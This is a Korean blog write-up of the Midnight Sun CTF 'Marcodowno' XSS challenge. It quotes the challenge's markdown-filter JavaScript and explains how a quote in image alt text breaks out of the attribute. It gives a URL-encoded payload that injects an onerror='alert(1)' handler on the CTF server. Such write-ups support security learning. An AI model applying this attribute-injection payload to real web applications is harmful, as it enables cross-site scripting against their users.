White Security
Marcodowno 문제풀이 본문
Midnightsun CTF web 1번
XSS 문제입니다.
사이트에 접속하면 위와 같은 폼이 하나 있는데
가운데 텍스트 박스에 접속시 alert(1) 가 뜨도록
xss 처리가 된 URL을 넣어주면 해결입니다.
물론 URL 해당 사이트 내부 URL 이어야 하고
중간의 here 이라는 색상이 다른 텍스트를 보면
링크가 걸려있는데요.
해당 서비스 페이지 내에서 파라미터를 적절히 넣어주면
자바스크립트를 통해 렌더링되기에
이를 잘 활용하면 되겠습니다.
here 문자열을 클릭해 링크로 접속하면
Input, Preview 두개의 란이 존재합니다.
Input에 뭔가를 입력하면 일정 규칙에 따라 변환되어
Preview 란에 나타나게 되는 것이죠.
사이트에 접속하면 location.search 에서
정규식을 통해 Input 이후 문자열를 추출하여
자동으로 input에 넣고 렌더링하도록 되어 있습니다.
정규식 자체에는 아무 제한도 걸려있지 않네요.
그리고 markdown 이라는 자바스크립트 함수가 눈에 들어오는데
입력을 필터링해 주는 함수입니다.
function markdown(text){
text = text.replace(/[<]/g, '')
text = text.replace(/----/g,'<hr>')
text = text.replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')
text = text.replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')
text = text.replace(/__([^_]+)__/g, '<b>$1</b>')
text = text.replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')
text = text.replace(/\* ([^*]+)/g, '<li>$1</li>')
text = text.replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')
text = text.replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')
text = text.replace(/### ([^#\n]+)/g, '<h3>$1</h3>')
text = text.replace(/## ([^#\n]+)/g, '<h2>$1</h2>')
text = text.replace(/# ([^#\n]+)/g, '<h1>$1</h1>')
text = text.replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')
text = text.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')
text = text.replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')
text = text.replace(/`([^`]+)`/g, '<code>$1</code>')
text = text.replace(/```([^`]+)```/g, '<code>$1</code>')
text = text.replace(/\n/g, "<br>");
return text;
}
markdown 함수를 조금 보기 쉽게 바꾸어 보았습니다.
< 문자를 전부 삭제하고 시작하니
태그를 그냥 입력해서는 정상 동작하지 않겠네요.
그런데 마지막에서 5번째 라인을 보면
img 태그가 존재하는 것을 볼 수 있습니다.
!(alt)[url of image] 와 같은 형식으로 이미지 태그를 작성할 수 있습니다.
따라서 아래와 같은 형식으로 작성해주면
<div id="rendered" class="rendered background-grey">
<img src="http://www.example.com" alt="hello">
</div>
이미지 태그가 작성됩니다.
여기서 alt 부분에 조금 바꾸어주면
<div id="rendered" class="rendered background-grey">
<img src="http://www.example.com" alt="" onerror="alert(1)" "="">
</div>
위와 같이 onerror부분에 스크립트 삽입이 되며
alert이 뜨는 것을 확인할 수 있었습니다.
이제 이를 URI 인코딩을 하여 메인화면에서 전송해 주면
플래그를 얻을 수 있겠습니다.
http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=%21%5B%22%20onerror%3D%22alert%281%29%22%5D%28http%3A//www.example.com%29
'CTF Writups' 카테고리의 다른 글
ByteBandits CTF - Online Previewer 1 문제풀이 (0) | 2019.04.14 |
---|---|
ByteBandits CTF - EasyPHP 문제풀이 (0) | 2019.04.14 |
repeaaaaaat 문제풀이 (0) | 2019.04.03 |
Sweet 문제풀이 (0) | 2019.04.03 |
Portfolio 문제풀이 (0) | 2019.04.01 |